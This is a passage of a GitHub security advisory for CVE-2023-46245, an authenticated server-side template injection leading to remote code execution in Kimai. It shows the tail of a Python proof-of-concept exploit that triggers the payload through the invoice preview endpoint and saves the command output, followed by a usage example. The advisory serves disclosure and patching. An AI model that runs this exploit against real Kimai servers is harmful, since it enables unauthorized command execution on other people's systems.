get_csrf(f\"/invoice/?searchTerm=\u0026daterange=\u0026exported=1\u0026invoiceDate=1%2F1%2F1980\u0026performSearch=performSearch\u0026_token={csrf}\u0026template={temp_id}\", session)\n        for template_id in template_ids:\n            rendererURL = f\"{BASE_URL}/invoice/preview/{customer_id}/{preview_id}?searchTerm=\u0026daterange=\u0026exported=1\u0026template={temp_id}\u0026invoiceDate=\u0026_token={csrf}\u0026customers[]={customer_id}\"\n            # trigger the payload by visiting the renderer URL \n            rce = session.get(rendererURL)\n            \n            if \"PDF-1.4\" in rce.text:\n                print(rendererURL)\n                print(\"[+] successfully executed payload\")\n                # save the pdf locally since rendered URL will expire as soon as we end the session\n                pdf = f\"{generate()}.pdf\"\n                with open(pdf,\u0027wb\u0027) as pdfFile:\n                    pdfFile.write(rce.content)\n                    pdfFile.flush()\n                    pdfFile.close()\n                    print(f\"[+] Saved results with name: {pdf}\")\n                exit(1)\n\nprint(\"[-] Failed to execute payload, try to trigger manually..\")\n```\n\nwhich can be executed as such:\n```bash\n$ python3 spl0it.py http://localhost:8001/en admin password \"ls -la\"\n```\n\nthis will download the rendered file which will contain the results of the RCE:\n\n![kimaiRCE](https://user-images.githubusercontent.com/32583633/271780813-dd62020e-8ac8-4902-bc70-5503a9362e40.png)\n\n\n# Impact\n\nRemote Code Execution",
  "id": "GHSA-fjhg-96cp-6fcw",
  "modified": "2023-10-30T15:40:04Z",
  "published": "2023-10-30T15:40:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kimai/kimai/security/advisories/GHSA-fjhg-96cp-6fcw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46245"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kimai/kimai/commit/38e37f1c2e91e1acb221ec5c13f11b735bd50ae4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kimai/kimai"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kimai (Authenticated) SSTI to RCE by Uploading a Malicious Twig File"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…